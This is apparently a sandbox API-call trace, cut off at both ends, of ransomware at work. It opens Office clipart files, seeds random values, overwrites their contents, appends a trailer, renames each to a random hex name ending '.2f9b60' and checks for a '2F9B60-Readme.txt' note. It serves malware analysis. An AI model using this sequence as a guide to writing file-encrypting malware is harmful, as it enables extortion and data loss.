_Dest=0x4205ce70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ce70) returned 1 [0109.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b520) returned 1 Thread: id = 641 os_tid = 0x10e8 [0095.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0096.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", dwFileAttributes=0x20) returned 1 [0096.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xee8 [0096.471] GetFileSizeEx (in: hFile=0xee8, lpFileSize=0x25b2f8e0 | out: lpFileSize=0x25b2f8e0*=7686) returned 1 [0096.471] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x1e02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.471] ReadFile (in: hFile=0xee8, lpBuffer=0x25b2f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25b2f8a8, lpOverlapped=0x0 | out: lpBuffer=0x25b2f860*, lpNumberOfBytesRead=0x25b2f8a8*=0x4, lpOverlapped=0x0) returned 1 [0096.969] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0096.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0096.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0096.969] NtQuerySystemTime (in: CurrentTime=0x25b2f7a0 | out: CurrentTime=0x25b2f7a0*=132462177028114000) returned 0x0 [0096.969] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x74d871e5 [0096.969] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x5759788b [0096.969] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x377ae6f1 [0096.969] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x3834836b [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x1703e2d2 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x78ae2791 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x2cfcd1a0 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x6721002f [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x2efd2d03 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x60948f24 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x1ee2c702 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x629a2750 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x27e5ba4c [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x358def2e [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x5d8e7f66 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x8c0fa18 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x69345d1c [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x768ede93 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x142c10d7 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x639e4828 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x38633487 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0xc314c2c [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x67d75a79 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x52e2fcf [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x2683a602 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x58acdba5 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x271e000d [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x5fd8d46 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x1dc757ab [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x164537e9 [0096.970] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0x39888ae0 [0096.971] RtlRandomEx (in: Seed=0x25b2f790 | out: Seed=0x25b2f790) returned 0xcd1b734 [0096.981] ReadFile (in: hFile=0xee8, lpBuffer=0x201900b0, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0x25b2f790, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesRead=0x25b2f790*=0x1e06, lpOverlapped=0x0) returned 1 [0097.074] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.074] WriteFile (in: hFile=0xee8, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x1e06, lpNumberOfBytesWritten=0x25b2f794, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x25b2f794*=0x1e06, lpOverlapped=0x0) returned 1 [0100.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0100.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0100.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0100.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0100.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0100.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0100.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0100.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262d20 [0100.044] SetFilePointerEx (in: hFile=0xee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.044] WriteFile (in: hFile=0xee8, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25b2f8b0, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x25b2f8b0*=0x10a, lpOverlapped=0x0) returned 1 [0100.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0100.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e60) returned 1 [0100.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0100.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0100.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202614f0) returned 1 [0100.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f3b0 [0100.587] sprintf (in: _Dest=0x1cd9f3b0, _Format="%c%c" | out: _Dest="e2") returned 2 [0100.587] sprintf (in: _Dest=0x1cd9f3b2, _Format="%c%c" | out: _Dest="0d") returned 2 [0100.587] sprintf (in: _Dest=0x1cd9f3b4, _Format="%c%c" | out: _Dest="54") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3b6, _Format="%c%c" | out: _Dest="2d") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3b8, _Format="%c%c" | out: _Dest="f1") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3ba, _Format="%c%c" | out: _Dest="59") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3bc, _Format="%c%c" | out: _Dest="ff") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3be, _Format="%c%c" | out: _Dest="42") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3c0, _Format="%c%c" | out: _Dest="dd") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3c2, _Format="%c%c" | out: _Dest="db") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3c4, _Format="%c%c" | out: _Dest="9c") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3c6, _Format="%c%c" | out: _Dest="ce") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3c8, _Format="%c%c" | out: _Dest="5d") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3ca, _Format="%c%c" | out: _Dest="6d") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3cc, _Format="%c%c" | out: _Dest="45") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3ce, _Format="%c%c" | out: _Dest="27") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3d0, _Format="%c%c" | out: _Dest="5c") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3d2, _Format="%c%c" | out: _Dest="07") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3d4, _Format="%c%c" | out: _Dest="9e") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3d6, _Format="%c%c" | out: _Dest="3d") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3d8, _Format="%c%c" | out: _Dest="ad") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3da, _Format="%c%c" | out: _Dest="ae") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3dc, _Format="%c%c" | out: _Dest="79") returned 2 [0100.588] sprintf (in: _Dest=0x1cd9f3de, _Format="%c%c" | out: _Dest="ca") returned 2 [0100.589] RtlInitAnsiString (in: DestinationString=0x25b2f928, SourceString="e20d542df159ff42dddb9cce5d6d45275c079e3dadae79ca" | out: DestinationString="e20d542df159ff42dddb9cce5d6d45275c079e3dadae79ca") [0100.589] RtlAnsiStringToUnicodeString (in: DestinationString=0x25b2f8f8, SourceString="e20d542df159ff42dddb9cce5d6d45275c079e3dadae79ca", AllocateDestinationString=1 | out: DestinationString="e20d542df159ff42dddb9cce5d6d45275c079e3dadae79ca") returned 0x0 [0100.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e480 [0100.589] wcscat (in: _Dest=0x202b0a10, _Source="e20d542df159" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159" [0100.589] wcscat (in: _Dest=0x202b0a10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60" [0100.589] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60", NtPathName=0x25b2f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106ac0 [0120.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106ac0) returned 1 [0120.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293bc0) returned 1 [0120.596] NtQueryInformationFile (in: FileHandle=0xee8, IoStatusBlock=0x25b2f938, FileInformation=0x25b2f948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25b2f938, FileInformation=0x25b2f948) returned 0x0 [0120.596] NtSetInformationFile (FileHandle=0xee8, IoStatusBlock=0x25b2f938, FileInformation=0x25b2f948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0122.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0a10) returned 1 [0122.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e480) returned 1 [0122.671] FlushFileBuffers (hFile=0xee8) returned 1 [0122.672] CloseHandle (hObject=0xee8) returned 1 [0122.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0a10 [0122.864] wcscpy (in: _Dest=0x202b0a10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0122.864] wcscat (in: _Dest=0x202b0a10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0122.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0122.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0a10) returned 1 [0122.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b490) returned 1 Thread: id = 642 os_tid = 0x10ec [0095.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0096.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", dwFileAttributes=0x20) returned 1 [0096.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xee4 [0096.473] GetFileSizeEx (in: hFile=0xee4, lpFileSize=0x29c0f8c0 | out: lpFileSize=0x29c0f8c0*=11891) returned 1 [0096.473] SetFilePointerEx (in: hFile=0xee4, liDistanceToMove=0x2e6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.473] ReadFile (in: hFile=0xee4, lpBuffer=0x29c0f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29c0f888, lpOverlapped=0x0 | out: lpBuffer=0x29c0f840*, lpNumberOfBytesRead=0x29c0f888*=0x4, lpOverlapped=0x0) returned 1 [0096.478] SetFilePointerEx (in: hFile=0xee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0096.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0096.478] NtQuerySystemTime (in: CurrentTime=0x29c0f780 | out: CurrentTime=0x29c0f780*=132462177023122000) returned 0x0 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x11293c16 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x1b2dd17f [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x738f4b3d [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x672115e1 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0xc9edfce [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x5c4407d [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x38300fff [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x7ccdbf61 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x5c6e8bc [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x1c9f3c77 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x7ebfcc90 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x18228be4 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x4814c1c9 [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x157b1e0b [0096.478] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x4bd14a91 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x895b472 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x2c024212 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x791344d3 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x26ae7ec2 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x19a20dfa [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x3b1272b2 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0xeda1e1c [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x74663bfb [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x4b19c635 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x314a3243 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x10b1f905 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x44b7d89a [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x6ff952ed [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x2a2e2afb [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x317c167f [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x2b915b35 [0096.479] RtlRandomEx (in: Seed=0x29c0f770 | out: Seed=0x29c0f770) returned 0x2645dc76 [0096.490] ReadFile (in: hFile=0xee4, lpBuffer=0x201a6910, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0x29c0f770, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesRead=0x29c0f770*=0x2e73, lpOverlapped=0x0) returned 1 [0096.501] SetFilePointerEx (in: hFile=0xee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.501] WriteFile (in: hFile=0xee4, lpBuffer=0x201aa520*, nNumberOfBytesToWrite=0x2e73, lpNumberOfBytesWritten=0x29c0f774, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesWritten=0x29c0f774*=0x2e73, lpOverlapped=0x0) returned 1 [0099.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0099.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0099.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623f0) returned 1 [0099.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0099.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0099.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0099.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0099.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202623f0 [0099.640] SetFilePointerEx (in: hFile=0xee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0099.640] WriteFile (in: hFile=0xee4, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29c0f890, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x29c0f890*=0x10a, lpOverlapped=0x0) returned 1 [0100.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0100.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8220) returned 1 [0100.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0100.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0100.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7800) returned 1 [0100.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f3b0 [0100.602] sprintf (in: _Dest=0x1cd9f3b0, _Format="%c%c" | out: _Dest="d4") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3b2, _Format="%c%c" | out: _Dest="e8") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3b4, _Format="%c%c" | out: _Dest="7f") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3b6, _Format="%c%c" | out: _Dest="90") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3b8, _Format="%c%c" | out: _Dest="ff") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3ba, _Format="%c%c" | out: _Dest="9c") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3bc, _Format="%c%c" | out: _Dest="81") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3be, _Format="%c%c" | out: _Dest="e8") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3c0, _Format="%c%c" | out: _Dest="8a") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3c2, _Format="%c%c" | out: _Dest="4e") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3c4, _Format="%c%c" | out: _Dest="4b") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3c6, _Format="%c%c" | out: _Dest="2e") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3c8, _Format="%c%c" | out: _Dest="64") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3ca, _Format="%c%c" | out: _Dest="c9") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3cc, _Format="%c%c" | out: _Dest="a9") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3ce, _Format="%c%c" | out: _Dest="e7") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3d0, _Format="%c%c" | out: _Dest="fc") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3d2, _Format="%c%c" | out: _Dest="fe") returned 2 [0100.602] sprintf (in: _Dest=0x1cd9f3d4, _Format="%c%c" | out: _Dest="74") returned 2 [0100.603] sprintf (in: _Dest=0x1cd9f3d6, _Format="%c%c" | out: _Dest="17") returned 2 [0100.603] sprintf (in: _Dest=0x1cd9f3d8, _Format="%c%c" | out: _Dest="58") returned 2 [0100.603] sprintf (in: _Dest=0x1cd9f3da, _Format="%c%c" | out: _Dest="e8") returned 2 [0100.603] sprintf (in: _Dest=0x1cd9f3dc, _Format="%c%c" | out: _Dest="f7") returned 2 [0100.603] sprintf (in: _Dest=0x1cd9f3de, _Format="%c%c" | out: _Dest="7b") returned 2 [0100.603] RtlInitAnsiString (in: DestinationString=0x29c0f908, SourceString="d4e87f90ff9c81e88a4e4b2e64c9a9e7fcfe741758e8f77b" | out: DestinationString="d4e87f90ff9c81e88a4e4b2e64c9a9e7fcfe741758e8f77b") [0100.603] RtlAnsiStringToUnicodeString (in: DestinationString=0x29c0f8d8, SourceString="d4e87f90ff9c81e88a4e4b2e64c9a9e7fcfe741758e8f77b", AllocateDestinationString=1 | out: DestinationString="d4e87f90ff9c81e88a4e4b2e64c9a9e7fcfe741758e8f77b") returned 0x0 [0100.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e170 [0100.603] wcscat (in: _Dest=0x202b0b50, _Source="d4e87f90ff9c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c" [0100.603] wcscat (in: _Dest=0x202b0b50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60" [0100.603] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60", NtPathName=0x29c0f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106a00 [0109.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106a00) returned 1 [0109.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293760) returned 1 [0109.456] NtQueryInformationFile (in: FileHandle=0xee4, IoStatusBlock=0x29c0f918, FileInformation=0x29c0f928, 